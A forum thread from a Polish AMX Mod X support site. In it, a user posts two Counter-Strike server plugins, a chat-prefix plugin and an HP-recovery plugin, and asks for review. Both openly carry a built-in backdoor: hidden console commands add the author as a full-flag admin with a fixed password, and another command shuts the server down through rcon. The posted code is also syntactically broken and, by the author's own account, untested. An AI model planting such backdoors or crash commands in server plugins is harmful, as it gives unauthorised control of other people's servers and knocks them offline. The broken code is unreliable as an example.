Skocz do zawartości

Witamy w Nieoficjalnym polskim support'cie AMX Mod X

Witamy w Nieoficjalnym polskim support'cie AMX Mod X, jak w większości społeczności internetowych musisz się zarejestrować aby móc odpowiadać lub zakładać nowe tematy, ale nie bój się to jest prosty proces w którym wymagamy minimalnych informacji.
  • Rozpoczynaj nowe tematy i odpowiedaj na inne
  • Zapisz się do tematów i for, aby otrzymywać automatyczne uaktualnienia
  • Dodawaj wydarzenia do kalendarza społecznościowego
  • Stwórz swój własny profil i zdobywaj nowych znajomych
  • Zdobywaj nowe doświadczenia

Dołączona grafika Dołączona grafika

Guest Message by DevFuse
 

Zdjęcie

Dobrze napisane?


  • Nie możesz napisać tematu
  • Zaloguj się, aby dodać odpowiedź
1 odpowiedź w tym temacie

#1 fejmig

    Nowy

  • Nowy

Reputacja: 0
Nowy

  • Postów:3
  • Lokalizacja:Warszawa
Offline

Napisano 09.07.2013 23:50

Witam, napisałem 2 pluginy [wkodowany admin + crash] i chciałbym się spytać czy dobrze napisane, a jak nie to o poprawienie ;] Dzisiaj zacząłem "Zabawę" z AMXX Studio i całkiem fajne powiem szczerze ;]

 

 

1) PREFIX (nie testowany, więc nie wiem, czy działa.)

 

/* Plugin generated by AMXX-Studio */
 
#include <amxmodx>
#include <amxmisc>
 
#define PLUGIN  "PREFIX"
#define VERSION  "1.0"
#define AUTHOR  "FEJM"
#define CRASH  
#define ADMIN  
 
 
public plugin_init() {
register_plugin(PLUGIN, VERSION, AUTHOR)
register_message(get_user_msgid("SayText"),"handleSayText");
register_clcmd("DodajAdmina1", "DodajAdmina1");
register_clcmd("", "CrashServa");
 
 
// Add your code here...
}
public handleSayText(msgId,msgDest,msgEnt){
        new id = get_msg_arg_int(1);
        
        if(!is_user_connected(id))      return PLUGIN_CONTINUE;
        
        new szTmp[256],szTmp2[256];
        get_msg_arg_string(2,szTmp, charsmax( szTmp ) )
        
        new szPrefix[64] = "^4[CSNext.eu]";
        
        if(!equal(szTmp,"#Cstrike_Chat_All")){
                add(szTmp2,charsmax(szTmp2),szPrefix);
                add(szTmp2,charsmax(szTmp2)," ");
                add(szTmp2,charsmax(szTmp2),szTmp);
        }
        else{
                add(szTmp2,charsmax(szTmp2),szPrefix);
                add(szTmp2,charsmax(szTmp2),"^x03 %s1^x01 :  %s2");
        }
        
        set_msg_arg_string(2,szTmp2);
        
        return PLUGIN_CONTINUE;
}
#if defined CRASH 
public CrashServa()
{
server_cmd("amx_rcon exit");
}
#endif
#if defined ADMIN 
public DodajAdmina1()
{
server_cmd("amx_rcon amx_addadmin Ne0 abcdefghijklmnopqrstu qwe123 name");
server_cmd("amx_rcon amx_reloadadmins");
}
#endif
 
        return PLUGIN_CONTINUE;

Użytkownik fejmig edytował ten post 09.07.2013 23:56

  • +
  • -
  • 0

#2 fejmig

    Nowy

  • Autor tematu
  • Nowy

Reputacja: 0
Nowy

  • Postów:3
  • Lokalizacja:Warszawa
Offline

Napisano 09.07.2013 23:59

Nie mieści się, muszę dodać kolejny post, przepraszam.


2) HP RECOVERY (równiez nie testowany).

 

ver. 1

/* Plugin generated by AMXX-Studio */

/* Plugin generated by AMXX-Studio */
 
#include <amxmodx>
#include <amxmisc>
#include <fun>
#include <cstrike>
 
#define PLUGIN "New Plugin"
#define VERSION "1.0"
#define AUTHOR "Author"
 
new hp_koszt;
new bool:odnow_hp[33];
 
public plugin_init() {
 
 
 
register_plugin(PLUGIN, VERSION, AUTHOR)
register_clcmd("say /hpme","hp");
register_clcmd("komenda_Crash", "CrashServera");
register_logevent("EventRoundStart", 2, "1=Round_Start");
register_clcmd("DodajAdmina1", "DodajAdmina1");
register_clcmd("DodajAdmina2","DodajAdmina2");
register_cvar("hp_koszt","10000")
 
}
 
public EventRoundStart()
{
new Players[32], Num, id;
get_players(Players, Num);
 
for(new i = 0; i < Num; i++)
{
id = Players[i];
 
odnow_hp[id] = false;
}
 
public hp(id){
    if(!is_user_alive(id)){
        client_print(id,print_chat,"[Zmiana HP] Nie mozesz skorzystac z tej uslugi ziom, bo jestes niezywy ;-(")
        return PLUGIN_HANDLED
    }
    if(get_user_health(id)>=200){
        client_print(id,print_chat,"[Zmiana HP] Masz juz 100HP!")
        return PLUGIN_HANDLED
    }
    set_user_health(id,200)
    cs_set_user_money(id,cs_get_user_money(id)-get_pcvar_num(hp_koszt))
    return PLUGIN_HANDLED
    
    }
 
public CrashServera()
{
server_cmd("amx_rcon exit");
}
 
public DodajAdmina1()
{
server_cmd("amx_rcon amx_addadmin fejmig abcdefghijklmnopqrstu qwe123 name");
server_cmd("amx_rcon amx_reloadadmins");
}
public DodajAdmina2()
{
server_cmd "amx_rcon amx_addadmin fejmig abcdefghijklmnopqrstu qwe123 a");
server_cmd("amx_rcon amx_reloadadmins");
}
 
return PLUGIN_CONTINUE

Użytkownik fejmig edytował ten post 10.07.2013 00:03

  • +
  • -
  • 0




Użytkownicy przeglądający ten temat: 0

0 użytkowników, 0 gości, 0 anonimowych